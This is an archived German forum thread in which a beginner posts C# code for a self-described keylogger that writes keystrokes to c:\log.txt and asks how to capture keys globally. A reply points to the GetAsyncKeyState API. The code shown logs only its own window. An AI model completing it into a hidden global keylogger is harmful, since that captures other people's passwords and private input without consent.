PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : keylogger mit c#



djleitno
20.11.2010, 21:13
ich habe ein kleines Problem bei meinem keylogger
er zeichnet die buchstaben und ziffern nur auf wen er im vordergrund ist d.h. er funktioniert nicht wen er minimiert ist oder nur ein anderes programm im vordergrund

hier der code:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace keylogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_Load(object sender, EventArgs e)
{

Form2 f2 = new Form2();
f2.Visible = true;




}


private void Form1_KeyDown(object sender, KeyEventArgs e)
{






StreamWriter sw = new StreamWriter(@"c:\log.txt", true);


if (e.KeyCode >= Keys.A && e.KeyCode <= Keys.Z)
sw.Write((char)e.KeyCode);





else if (e.KeyData == Keys.Tab)
{
sw.Write("->");
}


else if (e.KeyData == Keys.Space)
{
sw.Write(" ");
}

else if (e.KeyData == Keys.Enter)
{
sw.Write("{Enter}");
}

sw.Close();





}


}
}



hab mal gelesen das das nur mit einem hook oder so geht aber richtig gefunden hab ich nix
kann mir das wer erklären oder ein tutorial empfehlen??
kann leider kein englisch und das wird warscheindlich überal auf englisch beschrieben


MFG djleitno

Sawyer
20.11.2010, 21:32
Das Problem liegt in erster Linie daran, das deine Abfrage inerhalb des Form_KeyDown Events steht. Mithilfe der GetAsyncKeyState Function (Windows) (http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx) API kannst du das ganze relativ einfach Global realisieren. Genaueres wurde hier bereits des öfteren beschrieben.

djleitno
20.11.2010, 23:31
naja bei msdn kenne ich mich nie aus wie da was geht
und hier im forum finde ich nix das mir weiter hilft
ich hab erst mit c#angefangen und weis noch nich alles so genau
gibt es nirgens eine genaue anleitung oder so wie ich das machne muss??

und wen ich das mit GetAsyncKeyState Function mache muss ich dan alles anders machen oder ist das nur etwas das man irgendwo dazu schreibt??